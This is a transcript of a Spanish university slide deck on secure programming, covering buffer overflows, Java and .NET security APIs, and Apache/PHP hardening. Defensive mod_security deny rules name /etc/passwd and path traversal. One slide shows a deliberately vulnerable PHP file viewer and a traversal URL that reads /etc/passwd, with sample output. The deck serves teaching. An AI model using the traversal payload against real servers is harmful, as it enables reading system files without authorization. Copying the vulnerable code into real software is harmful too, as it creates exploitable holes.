Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería...
-
Upload
natalia-pinales -
Category
Documents
-
view
13 -
download
1
Transcript of Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería...
![Page 1: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/1.jpg)
Programación Programación Segura Segura
Gustavo A. Isaza EcheverrySeguridad Informática –
Programa de Ingeniería de Sistemas y ComputaciónUniversidad de Caldas
![Page 2: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/2.jpg)
Agenda
Conceptos generales APIS y Arquitecturas de Seguridad en
Lenguajes de Programación Seguridad en Java Seguridad .Net Seguridad en Apache, PHP, BD Seguras Seguridad CORBA
Conclusiones
![Page 3: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/3.jpg)
•La Seguridad es una medida NO un característica
•Costo
•Usabilidad
•Parte de un diseño
Ideas Previas
![Page 4: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/4.jpg)
•No hay conciencia y las estadísticas de incidentes no mejoran!!!
•Falta de competencias
•“El problema es del Admor Red / Oficial de Seguridad Informático”
•Desconocimiento de las arquitecturas, API’S, frameworks….. Seguros.…
Problemas?
![Page 5: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/5.jpg)
Problemas de seguridad
•Ausencia infraestructura seguridad
•Errores administrador/usuario
•Exploits•Programar bien !!!
•entender cómo funcionan las cosas
•aprender buenas políticas
•aprender trampas habituales
![Page 6: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/6.jpg)
• Es extremadamente sencillo equivocarse
• Mal diseño del lenguaje
• Malas prácticas de programación
• Hay lenguajes inmunes, pero no siempre podremos usarlos
• En C, cuidado con: strcpy, strcat,sprintf, gets, scanf
Desbordamientos
![Page 7: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/7.jpg)
Los desbordamientos de buffer se basan en introducir el código en el espacio reservado para las variables locales (los argumentos de un método / función) y después modificar la dirección de retorno/regreso (RET), donde regresa la información, para que apunte a un offset en donde hemos introducido nuestro código fuente.
Este código puede ser - por ejemplo - una ShellCode, : bash, sh, entre otros.
El Desbordamiento del Buffer: Buffer OverFlow
![Page 8: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/8.jpg)
• Programación defensiva. Cuidado con:strcpy() strcat() sprintf() scanf()sscanf() fscanf() vfscanf() vsprintfvscanf() vsscanf() streadd()strecpy() strtrns()
• Evitarlas siempre que sea posible, casi todas tienen alternativas razonables.
Desbordamientos: defensa
![Page 9: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/9.jpg)
gets() getchar(), fgetc(), getc(),read()Consejo, comprobar:
• Siempre los límites!• Longitud de los datos antes de almacenarlos• No pasar datos excesivamente grandes a otras funciones
Desbordamientos: más con las entradas
![Page 10: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/10.jpg)
Seguridad en Java Seguridad General
Arquitectura de la Seguridad Arquitectura de la Criptografía Política de permisos API para bloqueos de privilegios Certificados X.509 y listas de certificados
revocados
![Page 11: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/11.jpg)
JVM
Tres niveles de seguridad: Cargador de clases Verificador Gestores de seguridad
Seguridad en Java
![Page 12: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/12.jpg)
Seguridad en Java
1.El cargador de clases (Class Loader), que determina como y cuando pueden cargar código los programas y garantiza que los componentes del sistema no han sido reemplazados.
2.El verificador de archivos de clases (Class file verifier), que garantiza que el código tiene el formato correcto, que el bytecode no viola las restriciones de seguridad de tipos de la JVM, que las pilas internas no puedan desbordarse ni por arriba ni por abajo y que las instucciones en bytecode tengan parámetos de tipos correctos.
3.El gestor de seguridad (Security Manager), que controla el acceso a los recursos en tiempo de ejecución. Los recursos sobre los que tiene control son multiples: E/S de red y ficheros, creación de cargadores de clases, manipulación de hilos de ejecución, ejecución de programas externos (del SO), detener la JVM, cargar código nativo en la máquina virtual, realizar determinadas operaciones en el entorno de ventanas o cargar ciertos tipos de clases.
![Page 13: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/13.jpg)
![Page 14: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/14.jpg)
Usando el Security Manager
Class MySecurityManager extends SecurityManager {. . . . .}try {System.setSecurityManager(new MySecurityManager(”java.policy"));} catch (SecurityException se) {System.out.println("SecurityManager already set!");}
public boolean canRead() {SecurityManager security = System.getSecurityManager();if (security != null) {security.checkRead(path);}return fs.checkAccess(this, false);
}
![Page 15: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/15.jpg)
Security Manager
• Identity - Bases para las decisiones de seguridad• Origin – Desde donde proviene el código• Signature – A qué código corresponde?
java.security.CodeSource• Permission – Encapsula el acceso a una operación particular• Incluye un objetivo y una acción
p = new SocketPermission(“www.utp.edu.co”, “connect”);p = new FilePermission(“/tmp/file1”, “*”);
![Page 16: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/16.jpg)
Arquitectura criptográficaDesde el punto de vista de la seguridad, el conjunto de clases de seguridad distribuidas con el Java 2 SDK pueden dividirse en dos subconjuntos:
1.Clases relacionadas con el control de acceso y la gestión de permisos.
2.Clases relacionadas con la Criptografía.
Seguridad en Java
Arquitectura Criptográfica de Java (JCA) y la Extension Criptográfica de Java (JCE).
![Page 17: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/17.jpg)
Seguridad en Java
Certification Path Java Authentication and Authorization Service (JAAS) Java Generic Security Services (Java GSS-API) Java Cryptography Extension (JCE) Java Secure Socket Extension (JSSE) Simple Authentication and Security Layer (SASL)
![Page 18: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/18.jpg)
Arquitectura de la Criptografía
Java Cryptography Architecture (JCA) Introducción
JDK 1.1 Resúmenes de mensajes Firmas digitales
Java 2 SDK resúmenes de mensajes X.509 Arquitectura para grano fino, flexible, extensible y control
de acceso altamente configurable.
![Page 19: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/19.jpg)
Arquitectura de la Criptografía
Proveedores de servicios criptográficos Firma digital (DSA) MD5 y SHA-1 Generador de Claves DSA Certificados X.509
KeyStore
![Page 20: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/20.jpg)
JCE
Java Cryptography Extension (JCE) Introducción
Marco de trabajo y de implementación para el cifrado.
Generación y comprobación de claves Algoritmos de autenticación de mensajes (MAC)
![Page 21: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/21.jpg)
JCE
Introducción Ayuda para el cifrado simétrico Ayuda para el cifrado asimétrico Ayuda para el cifrado en bloque Cifradores en flujo Flujos seguros Objetos sellados
![Page 22: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/22.jpg)
JCE
API JCE Cifrado simétrico en bloque DES, RC2 e IDEA Cifrado simétrico en flujo RC4 Encriptación asimétrica RSA Comprobación de claves
![Page 23: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/23.jpg)
JCE
API JCE Cifrado Password-Based(PBE) Algoritmo de autentificación de claves (MAC)
Proveedor de Servicios SunJCE Una implementación del DES (FIPS PUB 46-1), Triple
DES, y algoritmos de encriptación Blowfish en el Electronic Code Book (ECB), Cipher Block Chaining (CBC), Cipher Feedback (CFB), Output Feedback (OFB), y modos Propagating Cipher Block Chaining (PCBC).
Un generador de par de claves Diffie-Hellman para generar un par de valores públicos y privados convenientes para el algoritmo de Diffie-Hellman.
![Page 24: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/24.jpg)
JCE
Proveedor de Servicios SunJCE Una implementación de HMAC-MD5 y algoritmos
keyed-hashing HMAC-SHA1 definido en RFC 2104. Una implementación del esquema de relleno
descrito en PKCS #5. Una implementación del keystore para el tipo
propietario del keystore llamando "JCEKS".
![Page 25: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/25.jpg)
Ejemplos
HMAC-MD5
import java.security.*;import javax.crypto.*;
public class initMac {
public static void main(String[] args) throws Exception {
KeyGenerator kg = KeyGenerator.getInstance("HmacMD5"); SecretKey sk = kg.generateKey();
Mac mac = Mac.getInstance("HmacMD5"); mac.init(sk); byte[] result = mac.doFinal("Hi There".getBytes()); }}
![Page 26: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/26.jpg)
Seguridad en Java
Control de acceso – Granularidad Tools (jar, keytool, jarsigner, policytool) Modelo de Permisos
Java.security.permission
Políticas de Seguridad PolicyTool Gestor de Seguridad: java.security.manager
![Page 27: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/27.jpg)
Clase JCA 1.2 Función
java.security.MessageDigest
Genera resumen de mensajes (hash).
java.security.Signature
Firmado de datos y verificación firmas.
java.security.KeyPairGenerator
Generar pares de claves (pública y privada) para un algoritmo.
java.security.KeyFactory
Convertir claves de formato criptográfico a especificaciones de claves y vice versa
java.security.certificate.CertificateFactory
Crear certificados de clave pública y listas de revocación(CRLs).
java.security.KeyStore
Crear y gestionar un almacen de claves (keystore).
java.security.AlgorithmParameters
Gestionar los parámetros de un algoritmo, incluyendocodificación y descodificación.
java.security.AlgorithmParameterGenerator
Generar un conjunto de parámetros para un algoritmo.
java.security.SecureRandom
Generar números aleatrorios o pseudo aleatrorios
Motor JCA
![Page 28: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/28.jpg)
Clase JCE 1.2 Función
java.crypto.Cipher
Proporciona encriptación y desencriptación.
java.crypto.KeyAgreement
Proporciona un protocolo de intercambio de claves.
java.crypto.KeyGenerator
Proporciona un generador de claves simétricas.
java.crypto.MacProporciona un algoritmo de autentificación de mensajes.
java.crypto.SecretKeyFactory
Representa una factoría de claves secretas.
Motor JCE
![Page 29: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/29.jpg)
Seguridad en Java
JCA & JCE (Java Crypto Architecture, Java Crypto Extensions)
Javax.crypto.interfaces DHKey DHPrivateKey DHPublicKey Sockets Seguros (JSSE)
Java.security.Cert X509Certificate, X509CRL X509Extension
![Page 30: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/30.jpg)
El paquete java.security
El paquete java.security consiste básicamente en clases abstractas e interfaces que encapsulan conceptos de seguridad como certificados, claves, resumenes de mensajes y firmas digitales.
En el JCA los proveedores pueden implementar tres clases: •KeyPairGenerator. Se emplea para crear claves públicas y privadas. •MessageDigest. Prorciona la funcionalidad de algoritmos de resumen de mensajes como el MD5 y el SHA. •Signature. Se emplea para el firmado digital de mensajes.
KeyPairGenerator kpg = KeyPairGenerator.getInstance ("DSA");
Seguridad en Java
![Page 31: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/31.jpg)
El paquete java.security.cert
Añade soporte para generar y usar certificados, incluye clases e interfaces específicas para soportar certificados X.509.
•CertificateFactory. Se emplea para generar certificados y listas de revocación (CRL). •Certificate. Es una clase para agrupar certificados de diferentes formatos pero usos comunes importantes•CRL. Clase abstracta para gestionar distintos tipos de listas de revocación de certificados. •X509Certificate. Clase abstracta para representar certificados X.509. •X509CRL. Clase abstracta para una lista de revocación de certificados X.509. •X509CRLEntry. Es una clase abstracta para las entradas de las listas de revocación
Seguridad en Java
![Page 32: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/32.jpg)
Seguridad en Java
Ejemplos: Perm = new
java.io.FilePermission(“/tmp/abc”,”read”) //AWT Permission, NetPermission
MessageDigest m = MessageDiggest.getInstance(“MD5”)
Java.security.MessageDiggest Java.security.signature Java.security.KeyPairGenerator
![Page 33: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/33.jpg)
•Extensión de Sockets Seguros de Java (JSSE)•http://java.sun.com/products/jsse/
•Servicio de Autentificación y Autorización de Java (JAAS)
•http://java.sun.com/products/jaas/
Seguridad en Java
![Page 34: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/34.jpg)
Arquitectura de seguridad de .NET
![Page 35: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/35.jpg)
Arquitectura de seguridad de ASP.NET
![Page 36: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/36.jpg)
Configurar la Seguridad en .NET
![Page 37: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/37.jpg)
ACCESO SEGURO A DATOS EN .NET•Acceso a BD de datos mediante ADO.NET•Formas seguras de acceder a la BD •Almacenamiento seguro de secretos
AUTENTICACIÓN MEDIANTE FORMULARIOS EN .NET •Autenticación mediante formularios básica •Autenticación mediante formularios y XML •Autenticación mediante formularios y base de datos •Autenticación mediante formularios y tickets personalizados •Autenticación mediante formularios sin cookies
AUTENTICACIÓN MEDIANTE WINDOWS EN .NET •Autenticación básica •Autenticación mediante resúmenes •Autenticación integrada de Windows •Protección de directorios y documentos •Representación de usuario
AUTENTICACIÓN MEDIANTE CERTIFICADOS EN .NET •Introducción a los certificados digitales •Criptografía con .NET•Autoridades de certificación •Canales seguros con SSL •Autenticación mediante certificados digitales •Acceso a la información de los certificados desde ASP.NET
SEGURIDAD EN SQL SERVER SEGURIDAD EN SERVICIOS WEB XML DESARROLLADOS CON .NET
Seg
uri
dad
en
.N
ET
![Page 38: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/38.jpg)
Seguridad de códigoSeguridad en Windows
Autenticación de usuarios Logon interactivo Autenticación en red
Control de acceso basado en objetos Permite limitar los recursos al usuario autenticado
Limitación con aplicaciones no confiadas por el usuario Mecanismo Todo - Nada
![Page 39: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/39.jpg)
Seguridad de códigoSolución .NET
Desarrollada sobre la seguridad Windows Nunca podremos tener mayores privilegios
Centrada en el código, no en el usuario Identificación del código por evidencias
Permite distintos niveles de seguridad
Muy granular Conjunto estándar de permisos ampliable
Fácil de administrar Distintos niveles de administración
![Page 40: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/40.jpg)
Seguridad de códigoPermisos
Protección de recursos y operaciones SecurityPermission SocketPermission WebPermission PrintingPermission
Acceso al interfaz de usuario UIPermission
Protección de ficheros y directorios FileIOPermission FileDialogPermission
![Page 41: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/41.jpg)
Seguridad de códigoPermisos (II)
Acceso al entorno, registro y metadatos EnvironmentPermission RegistryPermission ReflectionPermission DNSPermission EventLogPermission ServiceControllerPermission
![Page 42: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/42.jpg)
Seguridad de códigoPermisos (III)
Protección de datos DirectoryServicesPermission IsolatedStorageFilePermission OleDbPermission SqlClientPermission MessageQueuePermission PerformanceCounterPermission
Autenticación PrincipalPermission
![Page 43: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/43.jpg)
Seguridad basada en rolesAutenticación y autorización
Autenticación Proceso que verifica la identidad del usuario
Autorización Proceso que determina si el usuario puede realizar una
operación determinada Autenticación .NET
Windows Personalizable Sólo en ASP.NET
Forms && Passport
Autorización .NET
![Page 44: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/44.jpg)
Seguridad basada en rolesIdentities, principals
Identity Encapsula información sobre un usuario
Principal Representa el contexto de seguridad sobre el que corre la
aplicación Incluye:
Usuario actual Roles del usuario actual
Tres tipos Windows Generic Custom
![Page 45: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/45.jpg)
Seguridad basada en rolesAutorización de Principals
If (MyPrincipal.IsInRole(…)) De forma imperativa con PrincipalPermission
p = new PrincipalPermission(“DOMAIN\\Usuario”…)p.Demand()
De forma declarativa con PrincipalPermissionAttribute [PrincipalPermissionAttribute(SecurityAction.Demand, Name =
“DOMAIN\\Usuario”,…] Válido para cualquier tipo de Principal
Sin necesidad de cambios
![Page 46: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/46.jpg)
Apache && PHP Apache && PHP SeguridadSeguridad
![Page 47: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/47.jpg)
Consideraciones
Quién tiene acceso físico? Quién tiene acceso shell? Apache escribe en los filesystem? Limitar los post/get, cookies, sesiones?
![Page 48: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/48.jpg)
Recomendaciones básicas
Deshabilitar los servicios no usados, actualizar el servidor, usar los archivos de configuración recomendados
Habilitar logwatch y logcheck y actualizar los reportes Habilitar una herramienta de verificación de integridad
de archivos configurar iptables – Ports 22, 80, 443 tomcat?
![Page 49: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/49.jpg)
Asegurando ApacheAsegurando Apache
![Page 50: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/50.jpg)
Configurando Apache
Deshabilitar servicios no indispensables Verificar los bugtracks y actualizar Proteger los directorios /var/www/ Crear un directorio personalizado /var/www/error Habilitar los .htaccess y proteger los archivos de users y
password del http
![Page 51: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/51.jpg)
mod_dosevasive Fácil de configurar Puede ayudar a evadir ataques de DoS bloqueando
direcciones ip o URLs temporalmente.
LoadModule dosevasive20_module modules/mod_dosevasive20.so
<IfModule mod_dosevasive20.c> DOSHashTableSize 3097 DOSPageCount 2 DOSPageInterval 1 DOSSiteCount 50 DOSSiteInterval 1 DOSBlockingPeriod 10 DOSEmailNotify [email protected] DOSLogDir "/tmp/mod_dosevasive“ (make writable by apache only)
</IfModule>
![Page 52: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/52.jpg)
Características mod_security
Los filtros se aplican antes de ejecutar los scripts Soporta SSL Entienden el protocolo http Hace logging completo incluyendo post data Las reglas son personalizadas usando expresiones
regulares y pueden ser aplicadas a niveles de virtual hosts
![Page 53: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/53.jpg)
Ejemplo mod_security
<IfModule mod_security.c> SecFilterEngine On # Prevent OS specific keywords #index.php?
include=filenameSecFilter /etc/passwd
# Prevent path traversal (..) attacks SecFilter "\.\./"
# Very crude filters to prevent SQL injection attacks SecFilter "delete[[:space:]]+from" SecFilter "insert[[:space:]]+into" SecFilter "select.+from" </IfModule>
![Page 54: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/54.jpg)
Revisar el Servidor
Nmap (nmap –I –sV servidor) Nessus http://www.nessus.org CIS Linux Benchmark Scan
http://www.cisecurity.org/bench_linux.html
![Page 55: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/55.jpg)
Seguridad en PHPSeguridad en PHP
![Page 56: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/56.jpg)
Tipos de Ataques a PHP
Ejecución de comandos y/o escribir en los filesystem Sql injection Session Hijacking Cross Site Scripting (xss)
![Page 57: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/57.jpg)
Directory Transversal AttackEste fallo es muy común y simple. Consiste en realizar un descenso de directorios usando la referencia ../ al directorio padre. Un ejemplo de esto seria el siguiente:
<html> <head>PHP para mostrar ficheros de texto</head> <body> <?
if ($fp=fopen($filename,"r")){
while(!feof($fp)){ $contenido=fgets($fp,500); print("<p>" .
$contenido); }
}else{ print("Error al abrir el fichero"); }
?> </body> </html>
![Page 58: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/58.jpg)
Contenido del programa show_text_file.php
Este programa de ejemplo esta escrito en PHP y simplemente lee el archivo especificado y lo muestra, tal y como vemos en el siguiente escenario: Ejemplo:
victima.com/cgi-bin/show_text_file.php?filename=introduccion.txt Salida: PHP para mostrar ficheros de texto
Esto es un ejemplo esta es la línea 1 esta es la línea 2 esta es la línea 3
![Page 59: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/59.jpg)
Veamos ahora lo que pasa si usamos el escalado de directorios: Ejemplo:
www.victima.com/cgi-bin/show_text_file?filename=../../../../../etc/passwd
PHP para mostrar ficheros de texto root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:100:sync:/bin:/bin/sync games:x:5:100:games:/usr/games:/bin/sh (... etc)
![Page 60: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/60.jpg)
Command Execution Attack
